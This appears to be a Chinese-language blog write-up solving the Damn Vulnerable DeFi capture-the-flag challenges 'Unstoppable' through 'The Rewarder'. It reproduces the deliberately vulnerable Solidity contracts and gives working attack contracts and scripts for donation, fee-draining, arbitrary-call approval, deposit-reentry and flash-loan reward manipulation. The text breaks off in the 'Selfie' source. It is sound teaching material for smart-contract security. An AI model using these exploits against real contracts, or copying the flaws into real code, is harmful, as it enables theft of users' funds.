Challenge #1 - Unstoppable
There’s a tokenized vault with a million DVT tokens deposited. It’s offering flash loans for free, until the grace period ends.
To pass the challenge, make the vault stop offering flash loans.
You start with 10 DVT tokens in balance.
Code ReceiverUnstoppable.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol"; import "solmate/src/auth/Owned.sol"; import { UnstoppableVault, ERC20 } from "../unstoppable/UnstoppableVault.sol"; /** * @title ReceiverUnstoppable * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract ReceiverUnstoppable is Owned, IERC3156FlashBorrower { UnstoppableVault private immutable pool; error UnexpectedFlashLoan(); constructor(address poolAddress) Owned(msg.sender) { pool = UnstoppableVault(poolAddress); } function onFlashLoan( address initiator, address token, uint256 amount, uint256 fee, bytes calldata ) external returns (bytes32) { if (initiator != address(this) || msg.sender != address(pool) || token != address(pool.asset()) || fee != 0) revert UnexpectedFlashLoan(); ERC20(token).approve(address(pool), amount); return keccak256("IERC3156FlashBorrower.onFlashLoan"); } function executeFlashLoan(uint256 amount) external onlyOwner { address asset = address(pool.asset()); pool.flashLoan( this, asset, amount, bytes("") ); } }
UnstoppableVault.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "solmate/src/utils/FixedPointMathLib.sol"; import "solmate/src/utils/ReentrancyGuard.sol"; import { SafeTransferLib, ERC4626, ERC20 } from "solmate/src/mixins/ERC4626.sol"; import "solmate/src/auth/Owned.sol"; import { IERC3156FlashBorrower, IERC3156FlashLender } from "@openzeppelin/contracts/interfaces/IERC3156.sol"; /** * @title UnstoppableVault * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract UnstoppableVault is IERC3156FlashLender, ReentrancyGuard, Owned, ERC4626 { using SafeTransferLib for ERC20; using FixedPointMathLib for uint256; uint256 public constant FEE_FACTOR = 0.05 ether; uint64 public constant GRACE_PERIOD = 30 days; uint64 public immutable end = uint64(block.timestamp) + GRACE_PERIOD; address public feeRecipient; error InvalidAmount(uint256 amount); error InvalidBalance(); error CallbackFailed(); error UnsupportedCurrency(); event FeeRecipientUpdated(address indexed newFeeRecipient); constructor(ERC20 _token, address _owner, address _feeRecipient) ERC4626(_token, "Oh Damn Valuable Token", "oDVT") Owned(_owner) { feeRecipient = _feeRecipient; emit FeeRecipientUpdated(_feeRecipient); } /** * @inheritdoc IERC3156FlashLender */ function maxFlashLoan(address _token) public view returns (uint256) { if (address(asset) != _token) return 0; return totalAssets(); } /** * @inheritdoc IERC3156FlashLender */ function flashFee(address _token, uint256 _amount) public view returns (uint256 fee) { if (address(asset) != _token) revert UnsupportedCurrency(); if (block.timestamp < end && _amount < maxFlashLoan(_token)) { return 0; } else { return _amount.mulWadUp(FEE_FACTOR); } } function setFeeRecipient(address _feeRecipient) external onlyOwner { if (_feeRecipient != address(this)) { feeRecipient = _feeRecipient; emit FeeRecipientUpdated(_feeRecipient); } } /** * @inheritdoc ERC4626 */ function totalAssets() public view override returns (uint256) { assembly { // better safe than sorry if eq(sload(0), 2) { mstore(0x00, 0xed3ba6a6) revert(0x1c, 0x04) } } return asset.balanceOf(address(this)); } /** * @inheritdoc IERC3156FlashLender */ function flashLoan( IERC3156FlashBorrower receiver, address _token, uint256 amount, bytes calldata data ) external returns (bool) { if (amount == 0) revert InvalidAmount(0); // fail early if (address(asset) != _token) revert UnsupportedCurrency(); // enforce ERC3156 requirement uint256 balanceBefore = totalAssets(); if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement uint256 fee = flashFee(_token, amount); // transfer tokens out + execute callback on receiver ERC20(_token).safeTransfer(address(receiver), amount); // callback must return magic value, otherwise assume it failed if (receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data) != keccak256("IERC3156FlashBorrower.onFlashLoan")) revert CallbackFailed(); // pull amount + fee from receiver, then pay the fee to the recipient ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee); ERC20(_token).safeTransfer(feeRecipient, fee); return true; } /** * @inheritdoc ERC4626 */ function beforeWithdraw(uint256 assets, uint256 shares) internal override nonReentrant {} /** * @inheritdoc ERC4626 */ function afterDeposit(uint256 assets, uint256 shares) internal override nonReentrant {} }
Analysis 这道题是让我们阻止接下来的贷款,所以我们只需要关注UnstoppableVault
合约的flashLoan()
函数即可,这里我们能看到四个阻止合约贷款的条件,去掉我们一看就知道不能控制的条件外,只剩下了if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();
这一个条件,这个条件成立的情况是该合约的所有代币的所有者都是合约本身,但如果我们像这个合约发送了一些代币后会发生什么情况,那就是合约本身的余额增加了,但是totalSupply
没有增加,因为它只能通过mint()
来更新,所以我们只需要像该合约发送一些代币即可
Attack 1 await token.transfer (vault.address , INITIAL_PLAYER_TOKEN_BALANCE );
Challenge #2 - Naive receiver There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.
A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.
Take all ETH out of the user’s contract. If possible, in a single transaction.
Code FlashLoanReceiver.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "solady/src/utils/SafeTransferLib.sol"; import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol"; import "./NaiveReceiverLenderPool.sol"; /** * @title FlashLoanReceiver * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract FlashLoanReceiver is IERC3156FlashBorrower { address private pool; address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; error UnsupportedCurrency(); constructor(address _pool) { pool = _pool; } function onFlashLoan( address, address token, uint256 amount, uint256 fee, bytes calldata ) external returns (bytes32) { assembly { // gas savings if iszero(eq(sload(pool.slot), caller())) { mstore(0x00, 0x48f5c3ed) revert(0x1c, 0x04) } } if (token != ETH) revert UnsupportedCurrency(); uint256 amountToBeRepaid; unchecked { amountToBeRepaid = amount + fee; } _executeActionDuringFlashLoan(); // Return funds to pool SafeTransferLib.safeTransferETH(pool, amountToBeRepaid); return keccak256("ERC3156FlashBorrower.onFlashLoan"); } // Internal function where the funds received would be used function _executeActionDuringFlashLoan() internal { } // Allow deposits of ETH receive() external payable {} }
NaiveReceiverLenderPool.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol"; import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol"; import "solady/src/utils/SafeTransferLib.sol"; import "./FlashLoanReceiver.sol"; /** * @title NaiveReceiverLenderPool * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract NaiveReceiverLenderPool is ReentrancyGuard, IERC3156FlashLender { address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan"); error RepayFailed(); error UnsupportedCurrency(); error CallbackFailed(); function maxFlashLoan(address token) external view returns (uint256) { if (token == ETH) { return address(this).balance; } return 0; } function flashFee(address token, uint256) external pure returns (uint256) { if (token != ETH) revert UnsupportedCurrency(); return FIXED_FEE; } function flashLoan( IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data ) external returns (bool) { if (token != ETH) revert UnsupportedCurrency(); uint256 balanceBefore = address(this).balance; // Transfer ETH and handle control to receiver SafeTransferLib.safeTransferETH(address(receiver), amount); if(receiver.onFlashLoan( msg.sender, ETH, amount, FIXED_FEE, data ) != CALLBACK_SUCCESS) { revert CallbackFailed(); } if (address(this).balance < balanceBefore + FIXED_FEE) revert RepayFailed(); return true; } // Allow deposits of ETH receive() external payable {} }
Analysis 这道题是让我们掏空用户合约的代币,我们可以看到每在池子借一笔闪电贷就会支付1 ether
的代币,在用户合约中的onFlashLoan()
的函数中检测了是否由闪电贷合约调用,但却没有检测这笔闪电贷是否由用户所借的,所以我们只需要调用flashLoan()
并传入用户的FlashLoanReceiver
合约地址即可
Attack 1 2 3 4 for (i=0 ;i<10 ;i++) { await pool.flashLoan (receiver.address ,"0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE" ,1 ,"0x" ); }
Challenge #3 - Truster More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.
The pool holds 1 million DVT tokens. You have nothing.
To pass this challenge, take all tokens out of the pool. If possible, in a single transaction.
Code TrusterLenderPool.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "../DamnValuableToken.sol"; /** * @title TrusterLenderPool * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract TrusterLenderPool is ReentrancyGuard { using Address for address; DamnValuableToken public immutable token; error RepayFailed(); constructor(DamnValuableToken _token) { token = _token; } function flashLoan(uint256 amount, address borrower, address target, bytes calldata data) external nonReentrant returns (bool) { uint256 balanceBefore = token.balanceOf(address(this)); token.transfer(borrower, amount); target.functionCall(data); if (token.balanceOf(address(this)) < balanceBefore) revert RepayFailed(); return true; } }
Analysis 这道题是让我们将池子中的代币掏空,我们可以看到functionCall()
函数,这个函数是Address
库中的一个函数,相当于一个调用合约函数的call()
函数,我们可以构造一个ERC20
合约的approve()
的calldata
,然后传入的target
为token
的地址,授权给我们转账的金额,最后再通过transferFrom()
将池子中的代币掏空
Attack 1 2 3 4 5 selector = Web3.utils.keccak256("approve(address,uint256)").slice(0,10); param = '000000000000000000000000'+player.address.slice(2,)+Web3.eth.abi.encodeParameter('uint256',"1000000000000000000000000").slice(2,); data = selector + param; await pool.connect(player).flashLoan(0,player.address,token.address,data); await token.connect(player).transferFrom(pool.address,player.address,TOKENS_IN_POOL);
Challenge #4 - Side Entrance A surprisingly simple pool allows anyone to deposit ETH, and withdraw it at any point in time.
It has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.
Starting with 1 ETH in balance, pass the challenge by taking all ETH from the pool.
Code SideEntranceLenderPool.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "solady/src/utils/SafeTransferLib.sol"; interface IFlashLoanEtherReceiver { function execute() external payable; } /** * @title SideEntranceLenderPool * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract SideEntranceLenderPool { mapping(address => uint256) private balances; error RepayFailed(); event Deposit(address indexed who, uint256 amount); event Withdraw(address indexed who, uint256 amount); function deposit() external payable { unchecked { balances[msg.sender] += msg.value; } emit Deposit(msg.sender, msg.value); } function withdraw() external { uint256 amount = balances[msg.sender]; delete balances[msg.sender]; emit Withdraw(msg.sender, amount); SafeTransferLib.safeTransferETH(msg.sender, amount); } function flashLoan(uint256 amount) external { uint256 balanceBefore = address(this).balance; IFlashLoanEtherReceiver(msg.sender).execute{value: amount}(); if (address(this).balance < balanceBefore) revert RepayFailed(); } }
Analysis 这道题就很简单了,我们可以调用flashLoan()
借来池子中的所有钱,并通过execute()
来调用题目合约的deposit()
函数,将钱存入该池子,最后通过withdraw()
函数取出所有钱
Attack SideEntranceLenderPoolAttack.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "./SideEntranceLenderPool.sol"; contract Attack { SideEntranceLenderPool public pool; constructor(address _pool){ pool=SideEntranceLenderPool(_pool); } function execute() external payable{ pool.deposit{value: msg.value}(); } function attack(uint256 amount) external{ pool.flashLoan(amount); } function withdraw() external{ pool.withdraw(); payable(msg.sender).transfer(address(this).balance); } fallback()external payable{ } receive() external payable { } }
js 1 2 3 const attack = await (await ethers.getContractFactory ('Attack' , player)).deploy (pool.address ); await attack.connect (player).attack (ETHER_IN_POOL ); await attack.connect (player).withdraw ();
Challenge #5 - The Rewarder There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.
Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!
You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.
By the way, rumours say a new pool has just launched. Isn’t it offering flash loans of DVT tokens?
Code AccountingToken.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol"; import "solady/src/auth/OwnableRoles.sol"; /** * @title AccountingToken * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) * @notice A limited pseudo-ERC20 token to keep track of deposits and withdrawals * with snapshotting capabilities. */ contract AccountingToken is ERC20Snapshot, OwnableRoles { uint256 public constant MINTER_ROLE = _ROLE_0; uint256 public constant SNAPSHOT_ROLE = _ROLE_1; uint256 public constant BURNER_ROLE = _ROLE_2; error NotImplemented(); constructor() ERC20("rToken", "rTKN") { _initializeOwner(msg.sender); _grantRoles(msg.sender, MINTER_ROLE | SNAPSHOT_ROLE | BURNER_ROLE); } function mint(address to, uint256 amount) external onlyRoles(MINTER_ROLE) { _mint(to, amount); } function burn(address from, uint256 amount) external onlyRoles(BURNER_ROLE) { _burn(from, amount); } function snapshot() external onlyRoles(SNAPSHOT_ROLE) returns (uint256) { return _snapshot(); } function _transfer(address, address, uint256) internal pure override { revert NotImplemented(); } function _approve(address, address, uint256) internal pure override { revert NotImplemented(); } }
FlashLoanerPool.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../DamnValuableToken.sol"; /** * @title FlashLoanerPool * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) * @dev A simple pool to get flashloans of DVT */ contract FlashLoanerPool is ReentrancyGuard { using Address for address; DamnValuableToken public immutable liquidityToken; error NotEnoughTokenBalance(); error CallerIsNotContract(); error FlashLoanNotPaidBack(); constructor(address liquidityTokenAddress) { liquidityToken = DamnValuableToken(liquidityTokenAddress); } function flashLoan(uint256 amount) external nonReentrant { uint256 balanceBefore = liquidityToken.balanceOf(address(this)); if (amount > balanceBefore) { revert NotEnoughTokenBalance(); } if (!msg.sender.isContract()) { revert CallerIsNotContract(); } liquidityToken.transfer(msg.sender, amount); msg.sender.functionCall(abi.encodeWithSignature("receiveFlashLoan(uint256)", amount)); if (liquidityToken.balanceOf(address(this)) < balanceBefore) { revert FlashLoanNotPaidBack(); } } }
RewardToken.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "solady/src/auth/OwnableRoles.sol"; /** * @title RewardToken * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract RewardToken is ERC20, OwnableRoles { uint256 public constant MINTER_ROLE = _ROLE_0; constructor() ERC20("Reward Token", "RWT") { _initializeOwner(msg.sender); _grantRoles(msg.sender, MINTER_ROLE); } function mint(address to, uint256 amount) external onlyRoles(MINTER_ROLE) { _mint(to, amount); } }
TheRewarderPool.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "solady/src/utils/FixedPointMathLib.sol"; import "solady/src/utils/SafeTransferLib.sol"; import { RewardToken } from "./RewardToken.sol"; import { AccountingToken } from "./AccountingToken.sol"; /** * @title TheRewarderPool * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract TheRewarderPool { using FixedPointMathLib for uint256; // Minimum duration of each round of rewards in seconds uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days; uint256 public constant REWARDS = 100 ether; // Token deposited into the pool by users address public immutable liquidityToken; // Token used for internal accounting and snapshots // Pegged 1:1 with the liquidity token AccountingToken public immutable accountingToken; // Token in which rewards are issued RewardToken public immutable rewardToken; uint128 public lastSnapshotIdForRewards; uint64 public lastRecordedSnapshotTimestamp; uint64 public roundNumber; // Track number of rounds mapping(address => uint64) public lastRewardTimestamps; error InvalidDepositAmount(); constructor(address _token) { // Assuming all tokens have 18 decimals liquidityToken = _token; accountingToken = new AccountingToken(); rewardToken = new RewardToken(); _recordSnapshot(); } /** * @notice Deposit `amount` liquidity tokens into the pool, minting accounting tokens in exchange. * Also distributes rewards if available. * @param amount amount of tokens to be deposited */ function deposit(uint256 amount) external { if (amount == 0) { revert InvalidDepositAmount(); } accountingToken.mint(msg.sender, amount); distributeRewards(); SafeTransferLib.safeTransferFrom( liquidityToken, msg.sender, address(this), amount ); } function withdraw(uint256 amount) external { accountingToken.burn(msg.sender, amount); SafeTransferLib.safeTransfer(liquidityToken, msg.sender, amount); } function distributeRewards() public returns (uint256 rewards) { if (isNewRewardsRound()) { _recordSnapshot(); } uint256 totalDeposits = accountingToken.totalSupplyAt(lastSnapshotIdForRewards); uint256 amountDeposited = accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards); if (amountDeposited > 0 && totalDeposits > 0) { rewards = amountDeposited.mulDiv(REWARDS, totalDeposits); if (rewards > 0 && !_hasRetrievedReward(msg.sender)) { rewardToken.mint(msg.sender, rewards); lastRewardTimestamps[msg.sender] = uint64(block.timestamp); } } } function _recordSnapshot() private { lastSnapshotIdForRewards = uint128(accountingToken.snapshot()); lastRecordedSnapshotTimestamp = uint64(block.timestamp); unchecked { ++roundNumber; } } function _hasRetrievedReward(address account) private view returns (bool) { return ( lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp && lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION ); } function isNewRewardsRound() public view returns (bool) { return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION; } }
TheRewarderPool.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "solady/src/utils/FixedPointMathLib.sol"; import "solady/src/utils/SafeTransferLib.sol"; import { RewardToken } from "./RewardToken.sol"; import { AccountingToken } from "./AccountingToken.sol"; /** * @title TheRewarderPool * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract TheRewarderPool { using FixedPointMathLib for uint256; // Minimum duration of each round of rewards in seconds uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days; uint256 public constant REWARDS = 100 ether; // Token deposited into the pool by users address public immutable liquidityToken; // Token used for internal accounting and snapshots // Pegged 1:1 with the liquidity token AccountingToken public immutable accountingToken; // Token in which rewards are issued RewardToken public immutable rewardToken; uint128 public lastSnapshotIdForRewards; uint64 public lastRecordedSnapshotTimestamp; uint64 public roundNumber; // Track number of rounds mapping(address => uint64) public lastRewardTimestamps; error InvalidDepositAmount(); constructor(address _token) { // Assuming all tokens have 18 decimals liquidityToken = _token;//DamnValuableToken accountingToken = new AccountingToken(); rewardToken = new RewardToken(); _recordSnapshot(); } /** * @notice Deposit `amount` liquidity tokens into the pool, minting accounting tokens in exchange. * Also distributes rewards if available. * @param amount amount of tokens to be deposited */ function deposit(uint256 amount) external { if (amount == 0) { revert InvalidDepositAmount(); } accountingToken.mint(msg.sender, amount); distributeRewards(); SafeTransferLib.safeTransferFrom( liquidityToken, msg.sender, address(this), amount ); } function withdraw(uint256 amount) external { accountingToken.burn(msg.sender, amount); SafeTransferLib.safeTransfer(liquidityToken, msg.sender, amount); } function distributeRewards() public returns (uint256 rewards) { if (isNewRewardsRound()) { _recordSnapshot(); } uint256 totalDeposits = accountingToken.totalSupplyAt(lastSnapshotIdForRewards); uint256 amountDeposited = accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards); if (amountDeposited > 0 && totalDeposits > 0) { rewards = amountDeposited.mulDiv(REWARDS, totalDeposits); if (rewards > 0 && !_hasRetrievedReward(msg.sender)) { rewardToken.mint(msg.sender, rewards); lastRewardTimestamps[msg.sender] = uint64(block.timestamp); } } } function _recordSnapshot() private { lastSnapshotIdForRewards = uint128(accountingToken.snapshot()); lastRecordedSnapshotTimestamp = uint64(block.timestamp); unchecked { ++roundNumber; } } function _hasRetrievedReward(address account) private view returns (bool) { return ( lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp && lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION ); } function isNewRewardsRound() public view returns (bool) { return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION; } }
Analysis 这道题比较复杂,看了很久终于明白过来,先看js
文件,这道题是让我们使得之前存在的用户在下次获得奖励时,要少于10**16
个代币,同时奖励代币要多出来,我们要获得大于0的奖励并且要接近100 ether
我们可以先看看TheRewardPool
合约,在这个合约当中我们可以看到一个与奖励机制有关的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function distributeRewards() public returns (uint256 rewards) { if (isNewRewardsRound()) { _recordSnapshot(); } uint256 totalDeposits = accountingToken.totalSupplyAt(lastSnapshotIdForRewards); uint256 amountDeposited = accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards); if (amountDeposited > 0 && totalDeposits > 0) { rewards = amountDeposited.mulDiv(REWARDS, totalDeposits); if (rewards > 0 && !_hasRetrievedReward(msg.sender)) { rewardToken.mint(msg.sender, rewards); lastRewardTimestamps[msg.sender] = uint64(block.timestamp); } } }
在这个函数中我们可以看到调用者应获得的奖励的数额为amountDeposited.mulDiv(REWARDS, totalDeposits);
,其中amountDeposited
是调用者所拥有的accountToken
的数量,而totalDeposits
则是指amountToken
的代币总额。
接下来我们看看需要满足的条件:
1.让我们使得之前存在的用户在下次获得奖励时,要少于10**16
个代币:
想满足这个条件我们可以写出一个式子 $$ \frac{10010^{18}100 10^{18}}{400 10^{18}+?*10^{18}}> 10^{16} $$
就可以计算得出$?> 999600$
2.我们要获得的奖励要接近100 ether
,差距小于10**17
个
我们可以写出式子 $$ \frac{10010^{18} ?10^{18}}{400 10^{18}+?10^{18}}> 100 10^{18}-10^{17} $$ 我们可以得到$?>399600$
跟据以上两个条件我们可以得出我们需要在TheRewarderPool
中存入大于$999600*10^{18}$个liquidityToken
,而如何获取这笔钱呢,我们可以看到FlashLoanPool
合约中的闪电贷可以实现这个功能,同时还不需要手续费,并且当我们从TheRewarderPool
中取出存款时也不会删除我们的奖励币,最重要的是AccountingToken
合约引用的ERC20Snapshot
合约中只重写了_beforeTokenTransfer()
函数,而在ERC20
的_burn()
函数中是先执行的_beforeTokenTransfer()
,再去减的_totalSupply
,所以在第三轮的五天内,totalDeposits
的数值都不会变
Attack TheRewarderPoolAttack.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../DamnValuableToken.sol"; import "./FlashLoanerPool.sol"; import "./TheRewarderPool.sol"; contract TheRewarderPoolAttack{ FlashLoanerPool pool; TheRewarderPool pool2; RewardToken tokens; DamnValuableToken public immutable liquidityToken; constructor(address _addr,address _addr2,address _addr3,address liquidityTokenAddress){ pool = FlashLoanerPool(_addr); pool2 = TheRewarderPool(_addr2); tokens = RewardToken(_addr3); liquidityToken = DamnValuableToken(liquidityTokenAddress); } function Loan(uint256 amount) public { pool.flashLoan(amount); } function receiveFlashLoan(uint256 amount) public{ liquidityToken.approve(address(pool2), amount); pool2.deposit(amount); pool2.withdraw(amount); liquidityToken.transfer(address(pool), amount); } function withdraw(address player) public { tokens.transfer(player,tokens.balanceOf(address(this))); } receive() external payable{ } }
js 1 2 3 4 5 await ethers.provider .send ("evm_increaseTime" , [5 * 24 * 60 * 60 ]); const attack = await (await ethers.getContractFactory ('TheRewarderPoolAttack' ,player)).deploy (flashLoanPool.address ,rewarderPool.address ,rewardToken.address ,liquidityToken.address ); const money = 999601n * 10n ** 18n ; await attack.connect (player).Loan (money); await attack.connect (player).withdraw (player.address );
Challenge #6 - Selfie A new cool lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it.
What could go wrong, right ?
You start with no DVT tokens in balance, and the pool has 1.5 million. Your goal is to take them all.
Code ISimpleGovernance.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface ISimpleGovernance { struct GovernanceAction { uint128 value; uint64 proposedAt; uint64 executedAt; address target; bytes data; } error NotEnoughVotes(address who); error CannotExecute(uint256 actionId); error InvalidTarget(); error TargetMustHaveCode(); error ActionFailed(uint256 actionId); event ActionQueued(uint256 actionId, address indexed caller); event ActionExecuted(uint256 actionId, address indexed caller); function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId); function executeAction(uint256 actionId) external payable returns (bytes memory returndata); function getActionDelay() external view returns (uint256 delay); function getGovernanceToken() external view returns (address token); function getAction(uint256 actionId) external view returns (GovernanceAction memory action); function getActionCounter() external view returns (uint256); }
SimpleGovernance.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../DamnValuableTokenSnapshot.sol"; import "./ISimpleGovernance.sol" ; /** * @title SimpleGovernance * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract SimpleGovernance is ISimpleGovernance { uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days; DamnValuableTokenSnapshot private _governanceToken; uint256 private _actionCounter; mapping(uint256 => GovernanceAction) private _actions; constructor(address governanceToken) { _governanceToken = DamnValuableTokenSnapshot(governanceToken); _actionCounter = 1; } function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) { if (!_hasEnoughVotes(msg.sender)) revert NotEnoughVotes(msg.sender); if (target == address(this)) revert InvalidTarget(); if (data.length > 0 && target.code.length == 0) revert TargetMustHaveCode(); actionId = _actionCounter; _actions[actionId] = GovernanceAction({ target: target, value: value, proposedAt: uint64(block.timestamp), executedAt: 0, data: data }); unchecked { _actionCounter++; } emit ActionQueued(actionId, msg.sender); } function executeAction(uint256 actionId) external payable returns (bytes memory) { if(!_canBeExecuted(actionId)) revert CannotExecute(actionId); GovernanceAction storage actionToExecute = _actions[actionId]; actionToExecute.executedAt = uint64(block.timestamp); emit ActionExecuted(actionId, msg.sender); (bool success, bytes memory returndata) = actionToExecute.target.call{value: actionToExecute.value}(actionToExecute.data); if (!success) { if (returndata.length > 0) { assembly { 